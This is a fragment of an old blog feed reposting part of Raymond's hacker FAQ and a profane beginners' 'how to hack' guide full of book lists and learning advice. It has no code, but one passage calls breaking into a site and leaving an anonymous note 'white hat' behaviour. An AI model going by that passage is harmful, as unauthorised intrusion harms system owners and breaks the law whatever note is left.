class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Frequently Asked Questions"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Frequently Asked Questions&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="qandaset" title="Frequently Asked Questions"&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#hacker_already" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#hacker_already"&gt;How do I tell if I am already a hacker?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#teach_hack" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#teach_hack"&gt;Will you teach me how to hack?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#getting_started" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#getting_started"&gt;How can I get started, then?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#when_start" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#when_start"&gt;When do you have to start?  Is it too late for me to learn?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#how_long" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#how_long"&gt;How long will it take me to learn to hack?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#closed_lang" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#closed_lang"&gt;Is Visual Basic a good language to start with?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#I_want_to_crack_and_Im_an_idiot" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#I_want_to_crack_and_Im_an_idiot"&gt;Would you help me to crack a system, or teach me how to crack?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#passwords" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#passwords"&gt;How can I get the password for someone else's account?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#crackmail" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#crackmail"&gt;How can I break into/read/monitor someone else's email?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#crackop" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#crackop"&gt;How can I steal channel op privileges on IRC?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#anti_crack" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#anti_crack"&gt;I've been cracked.  Will you help me fend off further attacks?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#windows_grief" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#windows_grief"&gt;I'm having problems with my Windows software.  Will you help me?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#real_hackers" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#real_hackers"&gt;Where can I find some real hackers to talk with?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#books" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#books"&gt;Can you recommend useful books about hacking-related subjects?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#mathematics" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#mathematics"&gt;Do I need to be good at math to become a hacker?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#language_first" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#language_first"&gt;What language should I learn first?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#hardware" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#hardware"&gt;What kind of hardware do I need?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#started2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#started2"&gt;I want to contribute.  Can you help me pick a problem to work on?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#MS_hater" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#MS_hater"&gt;Do I need to hate and bash Microsoft?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#no_living" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#no_living"&gt;But won't open-source software leave programmers unable to make a living?&lt;/a&gt;&lt;/dt&gt;&lt;dt&gt;Q: &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#problems" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#problems"&gt;Where can I get a free Unix?&lt;/a&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;table border="0" summary="Q and A Set"&gt;&lt;col align="left" width="1%"&gt;&lt;/col&gt;&lt;col&gt;&lt;/col&gt;     &lt;tbody&gt;&lt;tr class="question" title="Q:"&gt;             &lt;td align="left" valign="top"&gt;             &lt;b&gt;Q:&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;             &lt;td align="left" valign="top"&gt;             How do I tell if I am already a hacker?&lt;br /&gt;&lt;/td&gt;         &lt;/tr&gt;&lt;tr class="answer"&gt;             &lt;td align="left" valign="top"&gt;             &lt;b&gt;A:&lt;/b&gt;&lt;br /&gt;&lt;/td&gt;             &lt;td align="left" valign="top"&gt;             Ask yourself the following three questions:&lt;br /&gt;&lt;div class="itemizedlist"&gt;             &lt;ul class="itemizedlist" type="disc"&gt;&lt;li class="listitem"&gt;                 Do you speak code, fluently?&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;                 Do you identify with the goals and values of the           hacker community?&lt;br /&gt;&lt;/li&gt;&lt;li class="listitem"&gt;                 Has a well-established member of the hacker           community ever called you a hacker?&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;If you can answer yes to &lt;span class="emphasis"&gt;&lt;i&gt;all three&lt;/i&gt;&lt;/span&gt; of these questions, you are already a hacker.  No two alone are sufficient.&lt;br /&gt;The first test is about skills.  You probably pass it if  you have the minimum technical skills described earlier in this  document. You blow right through it if you have had a substantial amount  of code accepted by an open-source development project.&lt;br /&gt;The second test is about attitude.  If the &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude" class="link" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude" title="The Hacker Attitude"&gt;five principles of the hacker mindset&lt;/a&gt;  seemed obvious to you, more like a description of the way you already  live than anything novel, you are already halfway to passing it. That's  the inward half; the other, outward half is the degree to which you  identify with the hacker community's long-term projects.&lt;br /&gt;Here is an incomplete but indicative list of some of  those projects: Does it matter to you that Linux improve and spread? Are  you passionate about software freedom?  Hostile to monopolies? Do you  act on the belief that computers can be instruments of empowerment that  make the world a richer and more humane place?&lt;br /&gt;But a note of caution is in order here. The hacker  community has some specific, primarily defensive political interests â€”  two of them are defending free-speech rights and fending off  "intellectual-property" power grabs that would make open source illegal.  Some of those long-term projects are civil-liberties organizations like  the Electronic Frontier Foundation, and the outward attitude properly  includes support of them.  But beyond that, most hackers view attempts  to systematize the hacker attitude into an explicit political program  with suspicion; we've learned, the hard way, that these attempts are  divisive and distracting.  If someone tries to recruit you to march on  your capitol in the name of the hacker attitude, they've missed the  point.  The right response is probably &lt;span class="quote"&gt;â€œ&lt;span class="quote"&gt;Shut up and show them the code.&lt;/span&gt;â€&lt;/span&gt;&lt;br /&gt;The third test has a tricky element of recursiveness about it. I observed in &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is" class="xref" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is" title="What Is a Hacker?"&gt;the section called â€œWhat Is a Hacker?â€&lt;/a&gt;  that being a hacker is partly a matter of belonging to a particular  subculture or social network with a shared history, an inside and an  outside.  In the far past,&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-5757160019583944930?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/5757160019583944930/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/how-to-become-hacker.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/5757160019583944930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/5757160019583944930'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/how-to-become-hacker.html' title='How to become hacker!'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-1832140692664712752</id><published>2011-04-08T00:07:00.000-07:00</published><updated>2011-04-08T00:07:00.148-07:00</updated><title type='text'>How To Hack – Beginners Guide to Hacking Computers</title><content type='html'>You stay up all night on the PC typing and typing. No, you’re not hacking. You’re begging someone on &lt;acronym title="Internet Relay Chat"&gt;IRC&lt;/acronym&gt; to teach you how to hack! Let’s look at the facts: &lt;br /&gt;&lt;ol&gt;&lt;li&gt;You’re  a luser and you’re annoying. No one likes you if you ask  others how to  hack without taking the least amount of initiative.&lt;/li&gt;&lt;li&gt;You’re not  worthy of any title even resembling hacker, cracker,  phreaker, etc., so  don’t go around calling yourself that! The more you  do, the less likely  you are to find someone willing to teach you how  to hack (which is an  infinitesimal chance, any way).&lt;/li&gt;&lt;li&gt;You’re wasting your time (if you  couldn’t infer that in the  first place). Many real hackers (not those  shitty script kiddies) spend  all their insomniac hours reading and, yes  even, HACKING! (Hacking  doesn’t necessarily (but usually does) mean  breaking into another  system. It could mean just working on your own  system, BUT NOT WINDOWS  ’9x (unless you’re doing some really menacing  registry shit, in which  case, you’re kind of cool).)&lt;/li&gt;&lt;/ol&gt;&lt;span id="more-11"&gt;&lt;/span&gt;You’re  probably thinking, “Then what  should I do. If no one’s going to help  me, how can I learn to hack?”  Have you ever tried READING (I assume this  far that you are literate).  Read anything and everything you can get  your hands on! I recommend  hitting a computer store and looking for  discount books (books that are  usually out of date, but so are a lot of  the systems on the ‘net, so  they’re still relevant!). You’ll be  surprised what you can learn from a  book even when you’re paying a  dollar for every hundred pages. I  recommend the following books to start  off with:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="text-decoration: line-through;"&gt;Maximum  Security I  or II: this is not a guide to hacking, despite what you  might have  heard, but you can get enough info to learn the basics of how  hackers  hack! (Isn’t that more fun than being lamed, email bombed, and  kicked  off &lt;acronym title="Internet Relay Chat"&gt;IRC&lt;/acronym&gt;).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Practical  Unix and Internet Security (Sec. Edition): This is  mostly a book about  how to secure Unix (if you don’t know what Unix is,  either shoot  yourself now, or read O’Reilly’s Learning the Unix &lt;acronym title="Operating System"&gt;OS&lt;/acronym&gt;),   but half of learning to hack is learning a system from the inside out.   How can you expect to hack a site (w/o using a kiddie script, which i   must restate, is NOT hacking) if you don’t know how to use the system?!&lt;/li&gt;&lt;li&gt;Linux  Unleashed/Red Hat Linux Unleashed: these books are kind  of cool. First  of all, they come with Red Hat Linux (*sigh*, just go to  &lt;a _fcksavedurl="http://www.linux.org/" href="http://www.linux.org/" target="_blank"&gt;www.linux.org&lt;/a&gt; and read everything there) &lt;span style="text-decoration: line-through;"&gt;5.1 and 5.2 respectively (if you get the newest versions of the book, which you should)&lt;/span&gt;. Read everything you can from it.&lt;/li&gt;&lt;li&gt;&lt;span style="text-decoration: line-through;"&gt;Sendmail  in a  nutshell: This is only after you read everything else. Sendmail,  for  those of you who still don’t know, is a program that sends mail. It   sounds stupid, but this is a buggy program, and usually is the avenue of   attack many hackers take because of it’s vulnerabilities.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;acronym title="Transmission Control Protocol / Internet Protocol"&gt;TCP/IP&lt;/acronym&gt; Blueprints: this will clear up a lot of things concerning &lt;acronym title="Transmission Control Protocol / Internet Protocol"&gt;TCP/IP&lt;/acronym&gt;.&lt;/li&gt;&lt;li&gt;&lt;acronym title="Transmission Control Protocol / Internet Protocol"&gt;TCP/IP&lt;/acronym&gt; Administration: haven’t read it, but can’t wait to! (I’ve been bogged down by a lot of other REAL computer stuff).&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt; &lt;b&gt;Editor’s Note: &lt;/b&gt;OK,  some of these books are out of date now,  so I’ve striked the ones that  are no longer relevent. “Hacking Exposed”  is a good substitute for  “Maximum Security”.&lt;br /&gt;&lt;/blockquote&gt;After you’ve read them all,  re-read them! Trust me, you gain a ton  of information the second time  you read them just as you gain  perspicacity the second time through a  movie with a twisted plot.&lt;br /&gt;&lt;span style="text-decoration: line-through;"&gt; Then, read a ton of &lt;acronym title="Request for Comments"&gt;RFC&lt;/acronym&gt;s. &lt;acronym title="Request for Comments"&gt;RFC&lt;/acronym&gt;s are Request for Comments by the people who practically shaped the Internet. Here is a good list of &lt;acronym title="Request for Comments"&gt;RFC&lt;/acronym&gt;s (the books above give about the same list):&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt; &lt;b&gt; Editor’s Note:&lt;/b&gt; Yeah, I really wouldn’t bother with the RFC’s, they can come later if you get really seriously into it.&lt;br /&gt;&lt;/blockquote&gt;That’s it for now. If anything else interests you about the Internet, try to look up an &lt;acronym title="Request for Comments"&gt;RFC&lt;/acronym&gt;   for it. Read anything you can about Internet security in general (but   not stuff like “How to Hack” (but keep reading this!)). Subscribe to   mailing lists. Some of my favorites are bugtraq, happy hacker   (interesting stuff), and MC2. By now, you should be advanced enough to   breeze through Carolyn Meinel’s “Guide to (mostly) Harmless Hacking.”   It’s got some interesting stuff, but not enough to be “3l1t3.” Okay, now   for the big step: the step from lamer to hacker! If you have not   already, install Linux. Now it’s okay for you to go online to usenet   groups and ask for help installing Linux, ‘cuz quite frankly, it’s   pretty fucking hard! NEVER, EVER, EVER expect to get it on the first try   just right.&lt;br /&gt;&lt;blockquote&gt; &lt;b&gt;Editor’s Note:&lt;/b&gt; you can install &lt;a _fcksavedurl="http://www.cygwin.com/" href="http://www.cygwin.com/" target="_blank"&gt;cygwin&lt;/a&gt; to start with, it’s a small linux environment that you can run inside windows to get the feel of a shell interface.&lt;br /&gt;&lt;/blockquote&gt;The  next thing to do is learn programming. I recommend learning C++  first  because it will help you understand a lot about programming, it’s  easy  to use, and is a lot like the other programming languages you  should  also learn. Read these books:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Teach Yourself C++ in 21 Days: the name says it all&lt;/li&gt;&lt;li&gt;Learning Perl: an AMAZING book on learning Perl&lt;/li&gt;&lt;li&gt;Programming Perl: the next step after Learning Perl&lt;/li&gt;&lt;li&gt;Perl Cookbook: the next step after Programming Perl&lt;/li&gt;&lt;li&gt;Core  Java (Volume I &amp;amp; II): these books are by the makers of  Java. Java  is a really cool language to say the least, but you should  at least  learn C++ before so you can understand classes.&lt;/li&gt;&lt;/ul&gt;Now, you may  be saying I may have been a bit hypocritical by saying  not to ask how  to hack but to ask about installing Linux. The thing is  that Linux  people are usually pretty nice, and the people who are Linux  gurus want  more than anything for Linux to prosper, and are willing to  help you  out. Oh, by the way, if you’ve installed Linux the way you  want it  (which does not include throwing you Linux box out the window  and  yelling, “I LIKE THIS JUST FINE!”), congratulations. You have now  earned  my respect.&lt;br /&gt;Okay, I mentioned kiddie scripts earlier, and I’ll  follow up on it  now. Kiddie Scripts are auto hacking programs that will  do all the work  for you. You don’t want that. I do condone downloading  them and  learning from them, but don’t become a script kiddie. The only  place  they go in life is jail (not where you want to be).&lt;br /&gt;Now, you  should know a great deal about hacking. You have a  compendium of  information at your fingertips with a mental index. You  want the best  advice? Don’t hack. Odds are, you will get caught, and  then it goes down  on your criminal record, and unless you did something   fan-fucking-tastic, like hacking the white house security cameras and   get video of Slick Willie getting a BJ, you can pretty much kiss your   computer future goodbye, cuz no one will hire a convicted hacker. If you   do hack, be a white hat hacker. For example, upon breaking into a  site,  leave a note maybe including how to contact you (not through the   phones, mail, real email address etc., do it through a hotmail account   or something) or how to fix it. They may be nice enough to offer you a   job! That’s right, there are some people who get paid to hack and do   what they love.&lt;br /&gt;In conclusion, you may have noticed that this was  not a real guide  to hacking. That’s because there is no one resource for  hacking. This  was a guide to LEARNING how to hack, which, if you want  to be a real  hacker, you will have to do. There is no one way to hack.  (If so, it  would be a lot easier for system administrators to keep you  out!) It’s a  variety of different tricks as well as the ability to keep  up with  current vulnerabilities in software and hardware. You should  also learn  how to program. Even though Kevin Mitnick was infamous among  the  hacker culture for being the most wanted cracker, he couldn’t even   write his own exploits! That’s pretty sad. Please use whatever   information you have wisely and responsibly, and distribute it only to   people who are worthy of it.&lt;br /&gt;&lt;hr /&gt; &lt;small&gt;&lt;i&gt;(end of article – originally by R4di4tion &lt;a _fcksavedurl="mailto:radiation@mc2.nu" href="mailto:radiation@mc2.nu"&gt;(email)&lt;/a&gt;.)&lt;/i&gt;&lt;/small&gt; &lt;img _fcksavedurl="http://www.puremango.co.uk/cypher.jpg" alt="" class="alignleft" height="138" src="http://www.puremango.co.uk/cypher.jpg" title="I dont even see the code any more..." width="200" /&gt;OK,   so that’s the article that first got me into hacking, I guess around  15  years ago. If you’ve read this far I congratulate you, you have my   respect. A short attention span is not something prized by hackers.&lt;br /&gt;And  if you look at the comments to this page, you can see the same   questions being asked again and again “hey pls teach me to hack”, “guys   can u crack msn passwords?”, “Where can I find free ebooks?”. If you   have to ask, you’re probably not the right kind of person to be a   hacker. Hackers use their initiative. Like, a lot. If you’re hacking   into a website and get stuck, you can’t just call up the admin and say   “Hey, where’s the password file kept?” you have to figure it out on your   own. In many ways, learning how to hack is also learning how to learn.&lt;br /&gt;Now  you’re probably thinking “hang on, you read this fifteen years   ago?!?!”. Yes, it’s an old piece of text. No, you didn’t waste your   time. This hacking tutorial teaches you the basics of how to hack, and   those aren’t ever going to change. If you didn’t catch them the first   time around, here they are again:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;learn to program&lt;/li&gt;&lt;li&gt;learn how the internet works&lt;/li&gt;&lt;li&gt;learn how unix/linux works&lt;/li&gt;&lt;/ol&gt;Go  download wireshark, nmap, hping, and a C IDE and just play around  with  all of them. That’s what the essence of hacking is; messing  around with  technologies until you find something cool. Check out my &lt;a _fcksavedurl="http://www.puremango.co.uk/2009/05/hacking-facebook/" href="http://www.puremango.co.uk/2009/05/hacking-facebook/" target="_self"&gt;Hacking Facebook&lt;/a&gt;   post and you’ll see exactly what I mean; it’s not really “hacking” as   such, all I did there was peek into facebook’s code using firebug, and I   found some cool stuff. But the hacking skills are the same. Some of  you  will want to ask “how do I download wireshark” or “how do I use  hping” –  you must understand that answering the question for yourself  is half  the point.&lt;br /&gt;I also very definitely agree with R4di4tion’s  suggestion to  subscribe to bugtraq but I’d suggest signing up a new  email account  solely for it; it’s very high volume. You may also want to  sign up to  the security-basics, vuln-dev, web-application-security and  pen-test  lists. Reading the conversations that take place on those lists  is a  gold-mine of hacking information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-1832140692664712752?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/1832140692664712752/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/how-to-hack-beginners-guide-to-hacking.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/1832140692664712752'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/1832140692664712752'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/how-to-hack-beginners-guide-to-hacking.html' title='How To Hack – Beginners Guide to Hacking Computers'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry></feed>
